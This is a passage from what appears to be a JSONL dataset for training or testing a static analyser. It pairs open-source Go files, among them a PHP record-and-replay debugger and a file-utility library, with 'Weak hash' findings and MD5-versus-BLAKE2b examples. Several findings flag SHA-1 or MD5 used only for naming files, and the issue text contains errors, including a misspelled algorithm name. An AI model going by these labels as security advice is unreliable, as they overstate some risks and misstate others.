TestFuzzDump(t *testing.T) {\n\tif err := os.MkdirAll(\"fuzz-workdir/corpus\", 0755); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tseen := make(map[[sha1.Size]byte]bool)\n\n\tfor _, test := range vomtest.AllPass() {\n\t\tdata := test.Bytes()\n\t\thash := sha1.Sum(data)\n\t\tif seen[hash] {\n\t\t\tcontinue\n\t\t}\n\t\tseen[hash] = true\n\n\t\tname := fmt.Sprintf(\"fuzz-workdir/corpus/%x\", hash)\n\t\tif err := ioutil.WriteFile(name, data, 0644); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t}\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 10, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "ea27a71dd1659180062d7c9e11b685497a8009bbd7b636e270e068e9dc79aa38", "license": {"spdx": ["Apache-2.0"], "repo": "sidkshatriya/dontbug", "path": "engine/record.go", "repo_head_hexsha": "fb3150f0a89a7239e827f7b8f31d37c34a16664a", "stack_hexsha": "f0811c43d7fc655d35181f8a747131972a28e25b", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 20, "entireCode": "// Copyright © 2016 \n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage engine\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"crypto/sha1\"\n\t\"fmt\"\n\t\"github.com/fatih/color\"\n\t\"github.com/kr/pty\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net\"\n\t\"os\"\n\t\"os/exec\"\n\t\"os/signal\"\n\t\"os/user\"\n\t\"path\"\n\t\"path/filepath\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n)\n\nconst (\n\t// These strings are not to be changed as these strings are sentinels from the dontbug zend extension\n\tdontbugZendExtensionLoadedSentinel = \"dontbug zend extension: dontbug.so successfully loaded by PHP\"\n\tdontbugZendXdebugNotLoadedSentinel = \"dontbug zend extension: Xdebug has not been loaded\"\n\tdontbugZendXdebugEntryPointNotFoundSentinel = \"dontbug zend extension: Xdebug entrypoint not found\"\n\t// End do not change\n\n\tdontbugRRTraceDirSentinel = \"rr: Saving execution to trace directory `\"\n\n\tdontbugNotPatchedXdebugMsg = `Unpatched Xdebug zend extension (xdebug.so) found. See below for more information:\ndontbug zend extension currently relies on a patched version of Xdebug to function correctly.\nThis is a very minor patch and simply makes a single function extern (instead of static) linkage.\nIt seems you are using the plain vanilla version of Xdebug. Consult documentation on patching Xdebug.\n`\n)\n\nfunc getOrCreateDontbugSharePath() string {\n\tcurrentUser, err := user.Current()\n\tfatalIf(err)\n\n\tdontbugShareDir := currentUser.HomeDir + \"/.local/share/dontbug/\"\n\tmkDirAll(dontbugShareDir)\n\n\treturn dontbugShareDir\n}\n\nfunc copyAndMakeUniqueDontbugSo(sharedObjectPath, dontbugShareDir string) string {\n\tuniqueDontbugSoFilename := path.Clean(fmt.Sprintf(\"%v/at-%v-dontbug.so\", dontbugShareDir, time.Now().UnixNano()))\n\toutput, err := exec.Command(\"cp\", sharedObjectPath, uniqueDontbugSoFilename).CombinedOutput()\n\tif err != nil {\n\t\tlog.Fatal(output)\n\t}\n\treturn uniqueDontbugSoFilename\n}\n\n// Assumptions:\n// - rrPath represents an rr executable that meets dontbug's requirements\n// - phpPath represents an php executable that meets dontbug's requirements\n// - sharedObject path is the path to xdebug.so that meets dontbug's requirements\n// - docrootOrScriptAbsNoSymPath is a valid docroot directory or a php script\nfunc doRecordSession(\n\tdocrootOrScriptAbsNoSymPath,\n\tsharedObjectPath,\n\trrPath,\n\tphpPath string,\n\tisCli bool,\n\targuments,\n\tserverListen string,\n\tserverPort,\n\trecordPort,\n\tmaxStackDepth int,\n\ttakeSnapshot bool,\n\tsnapShotDir string,\n\toriginalDocrootOrScriptFullPath string,\n) {\n\tnewSharedObjectPath := sharedObjectPath\n\tif takeSnapshot {\n\t\tdontbugShareDir := getOrCreateDontbugSharePath()\n\t\tnewSharedObjectPath = copyAndMakeUniqueDontbugSo(sharedObjectPath, dontbugShareDir)\n\t}\n\n\t// Many of these options are not really necessary to be specified.\n\t// However, we still do that to override any settings that\n\t// might be present in user php.ini files and change them\n\t// to sensible defaults for 'dontbug record'\n\trrCmd := []string{\n\t\t\"record\",\n\t\tphpPath,\n\t\t\"-d\", \"zend_extension=\" + newSharedObjectPath,\n\t\t\"-d\", fmt.Sprintf(\"xdebug.remote_port=%v\", recordPort),\n\t\t\"-d\", \"xdebug.remote_autostart=1\",\n\t\t\"-d\", \"xdebug.remote_host=\\\"127.0.0.1\\\"\",\n\t\t\"-d\", \"xdebug.remote_connect_back=0\",\n\t\t\"-d\", \"xdebug.remote_enable=1\",\n\t\t\"-d\", \"xdebug.remote_mode=req\",\n\t\t\"-d\", \"xdebug.auto_trace=0\",\n\t\t\"-d\", \"xdebug.trace_enable_trigger=\\\"\\\"\",\n\t\t\"-d\", \"xdebug.coverage_enable=0\",\n\t\t\"-d\", \"xdebug.extended_info=1\",\n\t\t\"-d\", fmt.Sprintf(\"xdebug.max_nesting_level=%v\", maxStackDepth),\n\t\t\"-d\", \"xdebug.profiler_enable=0\",\n\t\t\"-d\", \"xdebug.profiler_enable_trigger=0\",\n\t}\n\n\tif isCli {\n\t\targuments = strings.TrimSpace(arguments)\n\t\trrCmd = append(rrCmd, docrootOrScriptAbsNoSymPath)\n\t\tif arguments != \"\" {\n\t\t\targumentsAr := strings.Split(arguments, \" \")\n\t\t\trrCmd = append(rrCmd, argumentsAr...)\n\t\t}\n\t} else {\n\t\trrCmd = append(\n\t\t\trrCmd,\n\t\t\t\"-S\", fmt.Sprintf(\"%v:%v\", serverListen, serverPort),\n\t\t\t\"-t\", docrootOrScriptAbsNoSymPath)\n\t}\n\n\tVerboseln(\"dontbug: Issuing command: rr\", strings.Join(rrCmd, \" \"))\n\trecordSession := exec.Command(rrPath, rrCmd...)\n\n\tf, err := pty.Start(recordSession)\n\tfatalIf(err)\n\n\tcolor.Yellow(\"dontbug: -- Recording. Ctrl-C to terminate recording if running on the PHP built-in webserver\")\n\tcolor.Yellow(\"dontbug: -- Recording. Ctrl-C if running a script or simply wait for it to end\")\n\n\trrTraceDir := \"\"\n\tgo func() {\n\t\twrappedF := bufio.NewReader(f)\n\t\tfatalIf(err)\n\n\t\tfor {\n\t\t\tline, err := wrappedF.ReadString('\\n')\n\t\t\tfmt.Print(line)\n\t\t\tif err == io.EOF {\n\t\t\t\treturn\n\t\t\t} else if err != nil {\n\t\t\t\tlog.Fatal(err)\n\t\t\t}\n\n\t\t\tif strings.Contains(line, dontbugRRTraceDirSentinel) {\n\t\t\t\tstart := strings.LastIndex(line, \"`\")\n\t\t\t\tend := strings.LastIndex(line, \"'\")\n\t\t\t\tif start == -1 || end == -1 || start+1 == len(line) {\n\t\t\t\t\tlog.Fatal(\"Could not understand rr trace directory message\")\n\t\t\t\t}\n\n\t\t\t\trrTraceDir = line[start+1 : end]\n\t\t\t}\n\n\t\t\tif strings.Contains(line, dontbugZendXdebugNotLoadedSentinel) ||\n\t\t\t\t(strings.Contains(line, \"Failed loading\") && strings.Contains(line, \"xdebug.so\")) ||\n\t\t\t\t(strings.Contains(line, \"Cannot load Xdebug\") && !strings.Contains(line, \"Cannot load Xdebug - it was already loaded\")) {\n\t\t\t\tlog.Fatal(\"xdebug zend extension was not loaded. dontbug needs xdebug to work correctly\")\n\t\t\t}\n\n\t\t\tif strings.Contains(line, dontbugZendXdebugEntryPointNotFoundSentinel) {\n\t\t\t\tlog.Fatal(dontbugNotPatchedXdebugMsg)\n\t\t\t}\n\n\t\t\tif (strings.Contains(line, \"Failed loading\") && strings.Contains(line, \"dontbug.so\")) ||\n\t\t\t\tstrings.Contains(line, \"Cannot load dontbug\") {\n\t\t\t\tlog.Fatal(\"Could not load dontbug.so\")\n\t\t\t}\n\n\t\t\tif strings.Contains(line, dontbugZendExtensionLoadedSentinel) {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tio.Copy(os.Stdout, f)\n\t}()\n\n\t// Handle a Ctrl+C\n\t// If we don't do this rr will terminate abruptly and not save the execution traces properly\n\tc := make(chan os.Signal, 1)\n\tdefer close(c)\n\n\tsignal.Notify(c, os.Interrupt) // Ctrl+C\n\tgo func() {\n\t\t<-c\n\t\tcolor.Yellow(\"dontbug: Sending a Ctrl + C to recording\")\n\t\tf.Write([]byte{3}) // Ctrl+C is ASCII code 3\n\t}()\n\n\terr = recordSession.Wait()\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\tif takeSnapshot {\n\t\tif rrTraceDir == \"\" {\n\t\t\tlog.Fatal(\"Could not detect rr trace dir location\")\n\t\t}\n\t\tcreateSnapshotMetadata(rrTraceDir, snapShotDir, originalDocrootOrScriptFullPath)\n\t}\n\tcolor.Green(\"\\ndontbug: Closed cleanly. Replay should work properly\")\n}\n\nfunc createSnapshotMetadata(rrTraceDir, snapShotDir string, originalDocrootOrScriptFullPath string) {\n\tfileData := []byte(snapShotDir + \":\" + originalDocrootOrScriptFullPath)\n\tmetaDataFilename := rrTraceDir + \"/dontbug-snapshot-metadata\"\n\terr := ioutil.WriteFile(metaDataFilename, fileData, 0700)\n\tif err != nil {\n\t\tlog.Fatalf(\"Could not write to %v\\n\", metaDataFilename)\n\t}\n}\n\n// Here we're basically serving the role of an PHP debugger in an IDE\nfunc startBasicDebuggerClient(recordPort int) {\n\tlistener, err := net.Listen(\"tcp\", fmt.Sprintf(\"127.0.0.1:%v\", recordPort))\n\tfatalIf(err)\n\n\tVerbosef(\"Started debug client for recording at 127.0.0.1:%v\\n\", recordPort)\n\tgo func() {\n\t\tfor {\n\t\t\tconn, err := listener.Accept()\n\t\t\tfatalIf(err)\n\n\t\t\tgo func(conn net.Conn) {\n\t\t\t\tbuf := make([]byte, 2048)\n\t\t\t\tseq := 0\n\t\t\t\tfor {\n\t\t\t\t\tbytesRead, _ := conn.Read(buf)\n\t\t\t\t\tif bytesRead <= 0 {\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\n\t\t\t\t\tnullAt := bytes.IndexByte(buf, byte(0))\n\t\t\t\t\tif nullAt == -1 {\n\t\t\t\t\t\tlog.Fatal(\"Could not find length in debugger engine response\")\n\t\t\t\t\t}\n\n\t\t\t\t\tdataLen, err := strconv.Atoi(string(buf[0:nullAt]))\n\t\t\t\t\tfatalIf(err)\n\n\t\t\t\t\tbytesLeft := dataLen - (bytesRead - nullAt - 2)\n\t\t\t\t\tif bytesLeft != 0 {\n\t\t\t\t\t\tlog.Fatal(\"There are still some bytes left to receive -- strange\")\n\t\t\t\t\t}\n\n\t\t\t\t\tseq++\n\n\t\t\t\t\t// Keep running until we are able to record the execution\n\t\t\t\t\trunCommand := fmt.Sprintf(\"run -i %d\\x00\", seq)\n\t\t\t\t\tconn.Write([]byte(runCommand))\n\t\t\t\t}\n\t\t\t}(conn)\n\t\t}\n\t}()\n}\n\nfunc checkDontbugWasCompiled(extDirAbsPath string) string {\n\tdlPath := path.Clean(extDirAbsPath + \"/modules/dontbug.so\")\n\n\t// Does the zend extension exist?\n\t_, err := os.Stat(dlPath)\n\tif err != nil {\n\t\tlog.Fatal(\"Not able to find dontbug.so\")\n\t}\n\n\treturn dlPath\n}\n\nfunc getAbsNoSymExtDirAndCheckInstallLocation(installLocation string) string {\n\tif strings.TrimSpace(installLocation) == \"\" {\n\t\tcolor.Yellow(\"dontbug: No --install-location specified. Defaulting to $GOPATH/src/github.com/sidkshatriya/dontbug\")\n\t\tgopath := os.Getenv(\"GOPATH\")\n\t\tif gopath == \"\" {\n\t\t\tlog.Fatal(\"Unable to find environment variable GOPATH. Is go installed properly?\")\n\t\t}\n\t\tinstallLocation = getAbsNoSymlinkPath(path.Clean(gopath + \"/src/github.com/sidkshatriya/dontbug\"))\n\t} else {\n\t\tinstallLocation = getAbsNoSymlinkPath(installLocation)\n\t}\n\n\tcolor.Green(\"dontbug: Using --install-location \\\"%v\\\"\", installLocation)\n\textAbsDir := path.Clean(installLocation + \"/ext/dontbug\")\n\t_, err := os.Stat(extAbsDir)\n\tif err != nil {\n\t\tlog.Fatalf(\"'%v' does not seem to be a valid install location of dontbug. Error: %v\\n\", installLocation, err)\n\t}\n\n\treturn extAbsDir\n}\n\nfunc DoChecksAndRecord(\n\tphpExecutable,\n\trrExecutable,\n\trootDir,\n\tinstallLocation,\n\tdocrootOrScriptRelPath string,\n\tmaxStackDepth int,\n\tisCli bool,\n\targuments string,\n\trecordPort int,\n\tserverListen string,\n\tserverPort int,\n\ttakeSnapshot bool,\n) {\n\trootAbsNoSymDir := getAbsNoSymlinkPath(rootDir)\n\textAbsNoSymDir := getAbsNoSymExtDirAndCheckInstallLocation(installLocation)\n\n\tdocrootOrScriptFullPath := path.Clean(fmt.Sprintf(\"%v/%v\", rootAbsNoSymDir, docrootOrScriptRelPath))\n\n\tsnapShotDir := \"\"\n\toriginalDocrootOrScriptFullPath := \"\"\n\tif takeSnapshot {\n\t\tsnapShotDir = doSnapshot(rootAbsNoSymDir)\n\t\toriginalDocrootOrScriptFullPath = docrootOrScriptFullPath\n\t\tdocrootOrScriptFullPath = path.Clean(fmt.Sprintf(\"%v/%v\", snapShotDir, docrootOrScriptRelPath))\n\t}\n\n\tdocrootOrScriptAbsNoSymPath := getAbsNoSymlinkPath(docrootOrScriptFullPath)\n\n\tphpPath := checkPhpExecutable(phpExecutable)\n\trrPath := CheckRRExecutable(rrExecutable)\n\n\tdoGeneration(rootAbsNoSymDir, extAbsNoSymDir, maxStackDepth, phpPath)\n\tdontbugSharedObjectPath := checkDontbugWasCompiled(extAbsNoSymDir)\n\tstartBasicDebuggerClient(recordPort)\n\tdoRecordSession(\n\t\tdocrootOrScriptAbsNoSymPath,\n\t\tdontbugSharedObjectPath,\n\t\trrPath,\n\t\tphpPath,\n\t\tisCli,\n\t\targuments,\n\t\tserverListen,\n\t\tserverPort,\n\t\trecordPort,\n\t\tmaxStackDepth,\n\t\ttakeSnapshot,\n\t\tsnapShotDir,\n\t\toriginalDocrootOrScriptFullPath,\n\t)\n}\n\nfunc doSnapshot(rootAbsNoSymDir string) string {\n\trootAbsNoSymDir = path.Clean(rootAbsNoSymDir) + \"/\"\n\thash := sha1.Sum([]byte(rootAbsNoSymDir))\n\n\tsharePath := getOrCreateDontbugSharePath()\n\thashx := fmt.Sprintf(\"%.10x\", hash)\n\n\tsnapShotGroupDir := fmt.Sprintf(\"%v%v/\", sharePath, hashx)\n\tmkDirAll(snapShotGroupDir)\n\n\tmatches, err := filepath.Glob(snapShotGroupDir + \"snap-*\")\n\tlastSnapExists := false\n\tlastSnapName := \"\"\n\tif len(matches) != 0 {\n\t\tlastSnapExists = true\n\t\tlastSnapName = matches[len(matches)-1]\n\t\tVerbosef(\"dontbug: Last snapshot was: %v\\n\", lastSnapName)\n\t}\n\n\tcommand := []string{}\n\n\t// @TODO incomplete?\n\tcommon := []string{\n\t\t\"--exclude=.git\",\n\t\t\"--exclude=.hg\",\n\t}\n\n\tsnapShotDir := fmt.Sprintf(\"%vsnap-%v/\", snapShotGroupDir, time.Now().UnixNano()/1000000)\n\tif !lastSnapExists {\n\t\tcommand = []string{\n\t\t\t\"rsync\",\n\t\t\t\"-a\",\n\t\t\trootAbsNoSymDir, snapShotDir,\n\t\t}\n\n\t\tVerbosef(\"dontbug: Creating master snapshot from: %v\\n\", rootAbsNoSymDir)\n\t} else {\n\t\tcommand = []string{\n\t\t\t\"rsync\",\n\t\t\t\"-a\",\n\t\t\t\"--delete\",\n\t\t\tfmt.Sprint(\"--link-dest=../\", path.Base(lastSnapName)),\n\t\t\trootAbsNoSymDir, snapShotDir,\n\t\t}\n\n\t}\n\n\tcommand = append(command, common...)\n\tcolor.Green(\"dontbug: rsyncing sources and creating a snapshot at: %v\", snapShotDir)\n\tcolor.Green(\"dontbug: If this was your second or later snapshot, disk usage should only go up by what was changed from previous snapshot\")\n\tVerboseln(\"dontbug: Issuing command: \", strings.Join(command, \" \"))\n\toutputBytes, err := exec.Command(command[0], command[1:]...).CombinedOutput()\n\tif err != nil {\n\t\tfmt.Println(string(outputBytes))\n\t\tlog.Fatal(err)\n\t}\n\n\tif VerboseFlag {\n\t\tfmt.Println(string(outputBytes))\n\t}\n\n\treturn snapShotDir\n}", "dangerousExampleEn": "1. import \"crypto/md5\"\n2. \n3. func Dan_Crypto(c *gin.Context) {\n4. \tinput := c.PostForm(\"content\")\n5. \thash := md5.New()\n6. \thash.Write([]byte(input))\n7. \th := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(h))\n9. }\nLine 1: This is insecure because a vulnerable hash, md5, is used.", "safeExampleEn": "1. import \"golang.org/x/crypto/blake2b\"\n2. \n3. func Safe_Crypto(c *gin.Context) {\n4. \tdata := []byte(c.PostForm(\"content\"))\n5. \thash, err := blake2b.New256(nil)\n6. \thash.Write(data)\n7. \thashed := hash.Sum(nil)\n8. \tc.String(http.StatusOK, hex.EncodeToString(hashed))\n9. }\nLine 1: This is secure because a secure hash, black2b, is used.", "contexts": [{"lineNo": 20, "eventType": "sink", "messageKey": "gochk.WEAK_CRYPTOGRAPHIC_HASH.GO.defect", "params": {}}]}} {"id": "972b3c2ffe76c7aba9f0a12ee6f7d2d44f389dee197b51b67b57c847877793f3", "license": {"spdx": ["MIT"], "repo": "neyromanser/go-dry", "path": "file.go", "repo_head_hexsha": "a8baca3d43332096a8a15aa322b5be5aacff89a8", "stack_hexsha": "3db51d773716e2a301ba6e68e5076839d012c09a", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Weak hash", "issueDescriptionEn": "A hash function is a one-way function that generates fixed length of output by mapping random data. It is commonly used to store user passwords because it always produces the same output for the given input. The hash functions, such as MD5 and SHA, may give the illusion of high performance as they calculate hash very quickly, but they are vulnerable to random brute-force attacks. Furthermore, using a hash function for simple data is dangerous because it can be stored and shared in the rainbow table.\nThere are many functions that are enabled to overcome the shortcomings of MD5 and SHA. In Go, these can be easily replaced by enabling relatively newer algorithms such as Blake2, Argon2, PBKDF2, or Scrypt.", "issueLineNumber": 13, "entireCode": "// Copyright (c) 2020 \n//\n// This file is a part of go-dry package.\n// See https://github.com/xelaj/go-dry/blob/master/LICENSE for details\n\npackage dry\n\nimport (\n\t\"bufio\"\n\t\"bytes\"\n\t\"compress/flate\"\n\t\"compress/zlib\"\n\t\"crypto/md5\"\n\t\"encoding/csv\"\n\t\"encoding/json\"\n\t\"encoding/xml\"\n\t\"fmt\"\n\t\"hash/crc64\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t// \"strconv\"\n\t\"strings\"\n\t\"time\"\n)\n\nfunc FileBufferedReader(filenameOrURL string) (io.Reader, error) {\n\tdata, err := FileGetBytes(filenameOrURL)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn BytesReader(data), nil\n}\n\nfunc FileGetBytes(filenameOrURL string, timeout ...time.Duration) ([]byte, error) {\n\tif strings.Contains(filenameOrURL, \"://\") {\n\t\tif strings.Index(filenameOrURL, \"file://\") == 0 {\n\t\t\tfilenameOrURL = filenameOrURL[len(\"file://\"):]\n\t\t} else {\n\t\t\tclient := http.DefaultClient\n\t\t\tif len(timeout) > 0 {\n\t\t\t\tclient = &http.Client{Timeout: timeout[0]}\n\t\t\t}\n\t\t\tr, err := client.Get(filenameOrURL)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tdefer r.Body.Close()\n\t\t\tif r.StatusCode < 200 || r.StatusCode > 299 {\n\t\t\t\treturn nil, fmt.Errorf(\"%d: %s\", r.StatusCode, http.StatusText(r.StatusCode))\n\t\t\t}\n\t\t\treturn ioutil.ReadAll(r.Body)\n\t\t}\n\t}\n\treturn ioutil.ReadFile(filenameOrURL)\n}\n\nfunc FileSetBytes(filename string, data []byte) error {\n\treturn ioutil.WriteFile(filename, data, 0660)\n}\n\nfunc FileAppendBytes(filename string, data []byte) error {\n\tfile, err := os.OpenFile(filename, os.O_WRONLY|os.O_APPEND|os.O_CREATE, 0660)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer file.Close()\n\t_, err = file.Write(data)\n\treturn err\n}\n\nfunc FileGetString(filenameOrURL string, timeout ...time.Duration) (string, error) {\n\tbytes, err := FileGetBytes(filenameOrURL, timeout...)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn string(bytes), nil\n}\n\nfunc FileSetString(filename string, data string) error {\n\treturn FileSetBytes(filename, []byte(data))\n}\n\nfunc FileAppendString(filename string, data string) error {\n\treturn FileAppendBytes(filename, []byte(data))\n}\n\nfunc FileGetJSON(filenameOrURL string, timeout ...time.Duration) (result any, err error) {\n\terr = FileUnmarshallJSON(filenameOrURL, &result, timeout...)\n\treturn result, err\n}\n\nfunc FileUnmarshallJSON(filenameOrURL string, result any, timeout ...time.Duration) error {\n\tdata, err := FileGetBytes(filenameOrURL, timeout...)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn json.Unmarshal(data, result)\n}\n\nfunc FileSetJSON(filename string, data any) error {\n\tbytes, err := json.Marshal(data)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn FileSetBytes(filename, bytes)\n}\n\nfunc FileSetJSONIndent(filename string, data any, indent string) error {\n\tbytes, err := json.MarshalIndent(data, \"\", indent)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn FileSetBytes(filename, bytes)\n}\n\nfunc FileGetXML(filenameOrURL string, timeout ...time.Duration) (result any, err error) {\n\terr = FileUnmarshallXML(filenameOrURL, &result, timeout...)\n\treturn result, err\n}\n\nfunc FileUnmarshallXML(filenameOrURL string, result any, timeout ...time.Duration) error {\n\tdata, err := FileGetBytes(filenameOrURL, timeout...)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn xml.Unmarshal(data, result)\n}\n\nfunc FileSetXML(filename string, data any) error {\n\tbytes, err := xml.Marshal(data)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn FileSetBytes(filename, bytes)\n}\n\nfunc FileGetCSV(filenameOrURL string, timeout ...time.Duration) ([][]string, error) {\n\tdata, err := FileGetBytes(filenameOrURL, timeout...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treader := csv.NewReader(bytes.NewBuffer(data))\n\treturn reader.ReadAll()\n}\n\nfunc FileSetCSV(filename string, records [][]string) error {\n\tfile, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer file.Close()\n\twriter := csv.NewWriter(file)\n\treturn writer.WriteAll(records)\n}\n\n// FileGetLines returns a string slice with the text lines of filenameOrURL.\n// The lines can be separated by \\n or \\r\\n.\nfunc FileGetLines(filenameOrURL string, timeout ...time.Duration) (lines []string, err error) {\n\tdata, err := FileGetBytes(filenameOrURL, timeout...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlastR := -1\n\tlastN := -1\n\n\tfor i, c := range data {\n\t\tif c == '\\r' {\n\t\t\tl := string(data[lastN+1 : i])\n\t\t\tlines = append(lines, l)\n\t\t\tlastR = i\n\t\t}\n\t\tif c == '\\n' {\n\t\t\tif i != lastR+1 {\n\t\t\t\tl := string(data[lastN+1 : i])\n\t\t\t\tlines = append(lines, l)\n\t\t\t}\n\t\t\tlastN = i\n\t\t}\n\t}\n\tl := string(data[lastN+1:])\n\tlines = append(lines, l)\n\n\treturn lines, nil\n}\n\nfunc FileSetLines(filename string, lines []string) error {\n\treturn FileSetString(filename, strings.Join(lines, \"\\n\"))\n}\n\n// FileGetNonEmptyLines returns a string slice with the non empty text lines of filenameOrURL.\n// The lines can be separated by \\n or \\r\\n.\nfunc FileGetNonEmptyLines(filenameOrURL string, timeout ...time.Duration) (lines []string, err error) {\n\tdata, err := FileGetBytes(filenameOrURL, timeout...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlastR := -1\n\tlastN := -1\n\n\tfor i, c := range data {\n\t\tif c == '\\r' {\n\t\t\tl := string(data[lastN+1 : i])\n\t\t\tif l != \"\" {\n\t\t\t\tlines = append(lines, l)\n\t\t\t}\n\t\t\tlastR = i\n\t\t}\n\t\tif c == '\\n' {\n\t\t\tif i != lastR+1 {\n\t\t\t\tl := string(data[lastN+1 : i])\n\t\t\t\tif l != \"\" {\n\t\t\t\t\tlines = append(lines, l)\n\t\t\t\t}\n\t\t\t}\n\t\t\tlastN = i\n\t\t}\n\t}\n\tl := string(data[lastN+1:])\n\tif l != \"\" {\n\t\tlines = append(lines, l)\n\t}\n\n\treturn lines, nil\n}\n\nfunc FileGetConfig(filenameOrURL string, timeout ...time.Duration) (map[string]string, error) {\n\tdata, err := FileGetBytes(filenameOrURL, timeout...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tlines := bytes.Split(data, []byte(\"\\n\"))\n\tconfig := make(map[string]string, len(lines))\n\tfor _, line := range lines {\n\t\tkv := bytes.SplitN(line, []byte(\"=\"), 2)\n\t\tif len(kv) < 2 {\n\t\t\tcontinue\n\t\t}\n\t\tkey := string(bytes.TrimSpace(kv[0]))\n\t\tif len(key) == 0 || key[0] == '#' {\n\t\t\tcontinue\n\t\t}\n\t\tvalue := string(bytes.TrimSpace(kv[1]))\n\t\tif len(value) >= 2 && value[0] == '\"' && value[len(value)-1] == '\"' {\n\t\t\tvalue = value[1 : len(value)-1]\n\t\t}\n\t\tconfig[key] = value\n\t}\n\n\treturn config, nil\n}\n\nfunc FileSetConfig(filename string, config map[string]string) error {\n\tvar buffer bytes.Buffer\n\tfor key, value := range config {\n\t\tif strings.ContainsRune(key, '=') {\n\t\t\treturn fmt.Errorf(\"Key '%s' contains '='\", key)\n\t\t}\n\t\tfmt.Fprintf(&buffer, \"%s=%s\\n\", key, value)\n\t}\n\treturn FileSetBytes(filename, buffer.Bytes())\n}\n\n// FileGetLastLine reads the last line from a file.\n// In case of a network file, the whole file is read.\n// In case of a local file, the last 64kb are read,\n// so if the last line is longer than 64kb it is not returned completely.\n// The first optional timeout is used for network files only.\nfunc FileGetLastLine(filenameOrURL string, timeout ...time.Duration) (line string, err error) {\n\tif strings.Index(filenameOrURL, \"file://\") == 0 {\n\t\treturn FileGetLastLine(filenameOrURL[len(\"file://\"):])\n\t}\n\n\tvar data []byte\n\n\tif strings.Contains(filenameOrURL, \"://\") {\n\t\tdata, err = FileGetBytes(filenameOrURL, timeout...)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t} else {\n\t\tfile, err := os.Open(filenameOrURL)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tdefer file.Close()\n\t\tinfo, err := file.Stat()\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tif start := info.Size() - 64*1024; start > 0 {\n\t\t\tfile.Seek(start, os.SEEK_SET)\n\t\t}\n\t\tdata, err = ioutil.ReadAll(file)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t}\n\n\tpos := bytes.LastIndex(data, []byte{'\\n'})\n\treturn string(data[pos+1:]), nil\n}\n\n// func FileTail(filenameOrURL string, numLines int, timeout ...time.Duration) (lines []string, err error) {\n// \tif strings.Index(filenameOrURL, \"file://\") == 0 {\n// \t\tfilenameOrURL = filenameOrURL[len(\"file://\"):]\n// \t} else if strings.Contains(filenameOrURL, \"://\") {\n// \t\tdata, err := FileGetBytes(filenameOrURL, timeout...)\n// \t\tif err != nil {\n// \t\t\treturn nil, err\n// \t\t}\n// \t\tlines, _ := BytesTail(data, numLines)\n// \t\treturn lines, nil\n// \t}\n\n// \t// data := make([]byte, 0, 1024*256)\n\n// \t// file, err := os.Open(filenameOrURL)\n// \t// if err != nil {\n// \t// \treturn nil, err\n// \t// }\n// \t// defer file.Close()\n// \t// info, err := file.Stat()\n// \t// if err != nil {\n// \t// \treturn nil, err\n// \t// }\n// \t// if start := info.Size() - 64*1024; start > 0 {\n// \t// \tfile.Seek(start, os.SEEK_SET)\n// \t// 